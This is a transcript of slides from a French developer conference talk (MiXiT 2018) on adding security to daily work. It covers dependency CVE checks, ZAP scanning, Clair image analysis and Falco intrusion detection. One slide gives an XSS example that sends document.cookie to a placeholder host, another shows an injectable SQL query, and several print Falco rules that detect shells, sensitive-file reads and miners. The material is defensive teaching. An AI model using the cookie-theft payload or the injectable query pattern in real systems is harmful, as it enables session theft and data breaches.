Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Intégrez la sécu dans votre quotidien avant qu'il ne soit trop tard!

Intégrez la sécu dans votre quotidien avant qu'il ne soit trop tard!

8c8c5aae0889e0f8957aecc4e5bec3b1?s=128

Houssem BELHADJ AHMED

April 19, 2018
Tweet

More Decks by Houssem BELHADJ AHMED

Other Decks in Technology

Transcript

  1. Intégrer la sécurité dans votre quotidien MiXiT 2018 - 19/04/2018

  2. Présentation Mickael Jeanroy Houssem Belhadj Ahmed Développeur @mickaeljeanroy https://github.com/mjeanroy Développeur

    @7ouss3m https://github.com/houssemba
  3. Pourquoi ce talk ?

  4. Pourquoi ce talk ? Toutes ces entreprises ont été victime

    d’un vol données : - 2012 / 2016 : plus de 160 millions de comptes LinkedIn dans la nature - 2013 : 150 millions de comptes Adobe - 2016 : 80 millions de comptes dailymotion - Etc… Source : https://haveibeenpwned.com
  5. Pourquoi ce talk ? Certaines failles ont touchés (et touchent

    encore) des millions de sites : - 2014 : Shellshock - 2014 : Heartbleed - 2017 : Meltdown - 2017 : Spectre - Etc.
  6. Pourquoi ce talk ?

  7. Contexte Application type “Twitter” - Mixtwitt - Spring Boot, Java

    8 - AngularJS, jQuery - Docker, traefik - Intégration Continue : Jenkins
  8. Mixtwitt - Continuous integration Push Build Docker Build Deploy

  9. Contexte DEMO

  10. Contexte

  11. Etape 1 : Dépendances Première étape : nos dépendances sont-elles

    sûres ? - Maintenue / Éprouvée ? - Mise à jour récente ? - Affectée par une CVE connue ? Mais au fait, c’est quoi une CVE ?
  12. Etape 1 : Dépendances CVE ~ Common Vulnerability Exposure -

    Wikipedia : Dictionnaire des informations publiques relatives aux vulnérabilités de sécurité. - Pour faire simple : c’est une vulnérabilité, connue, détaillée et exposée publiquement. - Maintenu par différents organismes
  13. Etape 1 : Dépendances CVE ~ Exemple : Apache Commons

    FileUpload
  14. Etape 1 : Dépendances CVE ~ Focus sur CVE-2016-1000031 -

    Apache Commons FileUpload - Très utilisée. - Souvent présente de manière transitive : plus de 1 300 artifact l’utilisent ! - Faille : Remote Code Execution - Facilement exploitable - Souvent présente dans une dépendance directe, ou transitive - Une seule solution possible : mise à jour
  15. Etape 1 : Dépendances Maintenir ses dépendances à jour ?

    - Maven : mvn versions:display-dependency-updates - NPM : npm outdated - PHP : composer outdated - Etc. Questions : - Comment automatiser ? - Comment être averti des mises à jours ? - Mes dépendances sont-elles vulnérables ?
  16. Etape 1 : Dépendances Maintenir ses dépendances à jour ?

  17. Etape 1 : Dépendances Vérifier ses dépendances sur une base

    de CVE - Plugin Maven : OWASP Dependency-Check - Plugin NPM : retire
  18. Etape 1 : Dépendances Dépendances Front -- NPM - Installation

    : npm install --save retire - Automatisation : npm run retire
  19. Etape 1 : Dépendances Dépendances Back -- Maven - Installation

    : ajout du plugin dans le fichier pom.xml - Automatisation : mvn dependency-check:check
  20. Etape 1 : Dépendances Push Build Docker Build Deploy Dependency

    check
  21. Etape 1 : Dépendances DEMO https://jenkins.mr-robot.sh/job/Back-Dependency_check https://jenkins.mr-robot.sh/job/Front-Dependency_check

  22. Etape 1 : Dépendances 1- Dépendances à jour

  23. Etape 2 : Failles Applicatives Failles Applicatives : nombreuses possibilités...

    - SQL Injection - XSS ~ Cross Site Scripting - CSRF ~ Cross Site Request Forgery - Timing Attack - Remote Code Execution - Path Traversal - Etc.
  24. Etape 2 : Failles Applicatives Focus sur quelques failles :

    SQL Injection - Détournement d’une requête SQL - Risques principaux : bypass de login, dump de la base données Exemple : SELECT id, nom FROM users WHERE login = ‘“ + login + “‘ “ AND password = ‘“ + password + “‘“
  25. Etape 2 : Failles Applicatives Focus sur quelques failles :

    XSS ~ Cross Site Scripting - Injection de code JavaScript - Risques principaux : vol de cookies, vol de tokens, usurpation d’identité Exemple : <script> var src = "http://domain.com/" + (document.cookie); new Image().src = src; </script>
  26. Etape 2 : Failles Applicatives Retour CTF MiXiT 2017 -

    Failles connues mais peu maîtrisées (SQL Injection) - Méconnaissance sur les risques (XSS, Remote Code Execution) - Peu d’assurance sur le code produit Conclusion : - Besoin d’automatisation - Besoin de vérifications au jour le jour
  27. ZAP - Zed Attack Proxy - Un outil open source

    de l’OWASP - Il sert à trouver des failles de sécurités dans les applications web - Utilisé pour les développeurs, les débutants en sécurités, ainsi que par les professionnels - URL : https://github.com/zaproxy
  28. ZAP - Zed Attack Proxy Deux modes : - Passif

    ◦ Analyse tout le trafic entre le navigateur et l'application web. ◦ Cherche les problèmes liés à la configuration (Headers de sécurité qui manquent etc.). ◦ Peut être utiliser directement sur l’environnement de production (pas d’actions sur les données). - Actif ◦ Utilise des attaques connues pour détecter des vulnérabilités potentielles ◦ NE PAS UTILISER EN PROD OU SUR UNE APPLICATION QUE VOUS NE POSSÉDEZ PAS ! ;)
  29. ZAP - Zed Attack Proxy Vérifications en mode passif :

    - Cookies : Secure Flag, HTTPOnly Flag - Headers : - X-XSS-Protection - X-Content-Type-Options - X-Frame-Options - Content-Security-Policy (via extension) - Exposition d’adresses “privées” - Erreurs applicatives : les messages d’erreur peuvent donner beaucoup d’informations… - Etc.
  30. ZAP - Zed Attack Proxy Vérifications en mode actif :

    - Directory Browsing - Path Traversal - Server Side Include - Command Injection - XSS ~ Cross Site Scripting - SQL Injection - Etc.
  31. ZAP - Zed Attack Proxy Push Build Docker Build Deploy

    Env éphémère Dependency check Test Tests d'intrusion automatisés
  32. DEMO ZAP - Zed Attack Proxy

  33. ZAP IS NOT A SILVER BULLET

  34. Well done! But wait ... 1- Dépendances à jour 2-

    Tests d’intrusion
  35. Etape 3: Containers Nos images sont-elles sécurisées ?

  36. Docker Docker CONTAINER Java App custom-java:latest CONTAINER PHP Ubuntu:latest CONTAINER

    Static Files Debian:8.0 App . . . Apache
  37. Docker Docker CONTAINER Java App custom-java:latest CONTAINER PHP Ubuntu:latest CONTAINER

    Debian:8.0 App htop sshd openssl chrome firefox Static Files Apache
  38. Vulnerabilities inside docker images How common is it really?

  39. Docker Hub A Study of Security Vulnerabilities on Docker Hub

    Rui Shu, Xiaohui Gu and William Enck North Carolina State University - Etude publiée le 22 mars 2017 de Rui Shu, Xiaohui Gu & William Enck (Université de Caroline du Nord) - > 300 000 d’images unique analysées (Avril 2016) - > 80% des images officielles sont vulnérable à des failles de sévérité élevés - Les images officielles contiennent moins de failles que les images tierces de la communauté - https://dl.acm.org/citation.cfm?id=3029832
  40. Comment analyser nos images ?

  41. - open source system for analyzing container images for vulnerabilities

    - static analysis for fast, reproducible results - extensible to allow for easy addition of new analyzers, reporters, image formats, etc - URL : https://github.com/coreos/clair
  42. Clair Debian Security Bug Tracker Ubuntu CVE Tracker Red Hat

    Security Data ... Registrable components Third party Other components
  43. Clair - Comment ça marche ? FROM node:latest # Upgrade

    packages RUN apt-get update && apt-get upgrade -y # Create app directory RUN mkdir -p /usr/src/app WORKDIR /usr/src/app # Install app dependencies COPY package.json /usr/src/app/ RUN npm install # Bundle app source COPY . /usr/src/app EXPOSE 8080 CMD [ "npm", "start" ] Dockerfile • Metadata : (id, parent id, command, environment …) • Filesystem diff : (which files have been added/modified/removed) Image Layer • Operating system ◦ /etc/os-release, /etc/apt/sources.list, … • Package list ◦ /var/lib/dpkg/status, /var/lib/rmp/Packages... For each layer, find the:
  44. Clair Push Build Docker Build Deploy Dependency check Docker images

    analysis
  45. DEMO Clair

  46. Est-ce que c’est “clair” ? :)

  47. Alternatives • Quay.io • Twistlock • AquaSec • Anchore •

    Neuvector • Flawcheck
  48. Comment détecter une intrusion malgré toutes nos précautions ?

  49. Falco - open source behavioral activity monitoring - native support

    for containers - URL : https://github.com/draios/falco
  50. Falco - Comment ça marche ? Kernel CONTAINER 1 CONTAINER

    2 APP Syscalls are turned into events with context : • The process name performing the system call • The process’s parents, grandparents, etc • The remote IP address to which the process is communicating • ... Syscalls
  51. Falco - Exemples A shell is run in a container

    Condition: container.id != host and proc.name = bash Write to directory holding system binaries Condition: open_write and not package_mgmt_binaries and bin_dir System binary makes outbound connection Process other than skype tries to access camera Condition: evt.type = open and fd.name = /dev/video0 and proc.name != skype Condition: open_connection and proc.name in (ls, ps, mkdir, … )
  52. Falco - Default rules - list: sensitive_file_names items: [/etc/shadow, /etc/sudoers,

    /etc/pam.conf] - macro: sensitive_files condition: > fd.name startswith /etc and (fd.name in (sensitive_file_names) or fd.directory in (/etc/sudoers.d, /etc/pam.d)) - rule: Read sensitive file untrusted desc: > an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs. condition: > sensitive_files and open_read and proc_name_exists and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, ... output: > Sensitive file opened for reading by non-trusted program ... priority: WARNING
  53. Falco - Custom rule - rule: Detect crypto miners using

    the Stratum protocol desc: Miners typically specify the mining pool to connect to with a URI that begins with 'stratum+tcp' condition: proc.cmdline contains stratum+tcp output: Possible miner ran inside a container (command=%proc.cmdline %container.info) priority: WARNING - list: miner_ports items: [ 3333, 4444, 8333, 7777, 7778, 3357, 3335, 8899, 8888, 5730, 5588, 8118, 6099, 9332 ] - macro: miner_port_connection condition: fd.sport in (miner_ports) - rule: Detect outbound connections to common miner pool ports desc: Miners typically connect to miner pools on common ports. condition: node_app_frontend and outbound and miner_port_connection output: "Outbound connection to common miner port (command=%proc.cmdline port=%fd.rport %container.info)" priority: WARNING
  54. DEMO Falco

  55. Aller plus loin • Snyk • Metasploit • Shodan •

    NetAttacker • Burp
  56. None
  57. MERCI ! Questions ? @mickaeljeanroy @7ouss3m